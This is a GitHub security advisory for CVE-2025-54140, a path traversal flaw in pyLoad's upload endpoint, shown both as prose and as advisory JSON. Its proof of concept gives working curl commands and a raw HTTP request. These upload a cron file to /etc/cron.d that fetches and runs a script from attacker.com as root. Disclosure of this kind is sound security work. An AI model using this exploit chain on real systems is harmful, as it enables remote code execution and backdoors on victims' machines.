ghsa-xqpg-92fq-grfg
Vulnerability from github
Published
2025-07-21 21:16
Modified
2025-07-23 13:37
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Summary
`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write
Details

Summary

An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:

  • Remote Code Execution (RCE)
  • Local Privilege Escalation
  • System-wide compromise
  • Persistence and backdoors

Vulnerable Code

File: src/pyload/webui/app/blueprints/json_blueprint.py

python @json_blueprint.route("/upload", methods=["POST"]) def upload(): dir_path = api.get_config_value("general", "storage_folder") for file in request.files.getlist("file"): file_path = os.path.join(dir_path, "tmp_" + file.filename) file.save(file_path) Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.

(Proof of Concept)

  1. Clone and install pyLoad from source (pip install pyload-ng):

bash git clone https://github.com/pyload/pyload cd pyload git checkout 0.4.20 python -m pip install -e . pyload --userdir=/tmp/pyload

  1. Or install via pip (PyPi) in virtualenv:

bash python -m venv pyload-env source pyload-env/bin/activate pip install pyload==0.4.20 pyload

  1. Login and obtain session token bash curl -c cookies.txt -X POST http://127.0.0.1:8000/login \ -d "username=admin&password=admin"

  2. Create malicious cron payload bash echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit

  3. Upload file with path traversal filename bash curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \ -F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"

  4. On the next cron tick, a reverse shell or payload will be triggered.

BurpSuite HTTP Request

``` POST /json/upload HTTP/1.1 Host: 127.0.0.1:8000 Cookie: session=SESSION_ID_HERE Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e

--------------------------d74496d66958873e Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor" Content-Type: application/octet-stream

*/1 * * * * root curl http://attacker.com/payload.sh | bash --------------------------d74496d66958873e-- ```

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0b3.dev89"
            },
            {
              "fixed": "0.5.0b3.dev90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.0b3.dev89"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54140"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-21T21:16:06Z",
    "nvd_published_at": "2025-07-22T22:15:38Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nAn **authenticated path traversal vulnerability** exists in the `/json/upload` endpoint of the `pyLoad` By **manipulating the filename of an uploaded file**, an attacker can traverse out of the intended upload directory, allowing them to **write arbitrary files to any location** on the system accessible to the pyLoad process. This may lead to:\n\n* **Remote Code Execution (RCE)**\n* **Local Privilege Escalation**\n* **System-wide compromise**\n* **Persistence and backdoors**\n\n---\n\n### Vulnerable Code\n\nFile: [`src/pyload/webui/app/blueprints/json_blueprint.py`](https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109)\n\n```python\n@json_blueprint.route(\"/upload\", methods=[\"POST\"])\ndef upload():\n    dir_path = api.get_config_value(\"general\", \"storage_folder\")\n    for file in request.files.getlist(\"file\"):\n        file_path = os.path.join(dir_path, \"tmp_\" + file.filename)  \n        file.save(file_path) \n```\n**Issue**: No sanitization or validation on `file.filename`, allowing traversal via `../../` sequences.\n\n\n\n\n### (Proof of Concept)\n\n1. **Clone and install pyLoad from source** (`pip install pyload-ng`):\n\n```bash\ngit clone https://github.com/pyload/pyload\ncd pyload\ngit checkout 0.4.20\npython -m pip install -e .\npyload --userdir=/tmp/pyload\n```\n\n2. **Or install via pip (PyPi) in virtualenv:**\n\n```bash\npython -m venv pyload-env\nsource pyload-env/bin/activate\npip install pyload==0.4.20\npyload\n```\n\n\n1. **Login and obtain session token**\n```bash\ncurl -c cookies.txt -X POST http://127.0.0.1:8000/login \\\n  -d \"username=admin\u0026password=admin\"\n```\n\n2. **Create malicious cron payload**\n```bash\necho \"*/1 * * * * root curl http://attacker.com/payload.sh | bash\" \u003e exploit\n```\n\n3. **Upload file with path traversal filename**\n```bash\ncurl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \\\n  -F \"file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor\"\n```\n\n4. On the next cron tick, a reverse shell or payload will be triggered.\n\n### BurpSuite HTTP Request\n\n```\nPOST /json/upload HTTP/1.1\nHost: 127.0.0.1:8000\nCookie: session=SESSION_ID_HERE\nContent-Type: multipart/form-data; boundary=------------------------d74496d66958873e\n\n--------------------------d74496d66958873e\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../etc/cron.d/pyload_backdoor\"\nContent-Type: application/octet-stream\n\n*/1 * * * * root curl http://attacker.com/payload.sh | bash\n--------------------------d74496d66958873e--\n```",
  "id": "GHSA-xqpg-92fq-grfg",
  "modified": "2025-07-23T13:37:09Z",
  "published": "2025-07-21T21:16:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-xqpg-92fq-grfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54140"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/fc4b136e9c4e7dcbb8e467ae802cb2c3f70a71b0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write"
}


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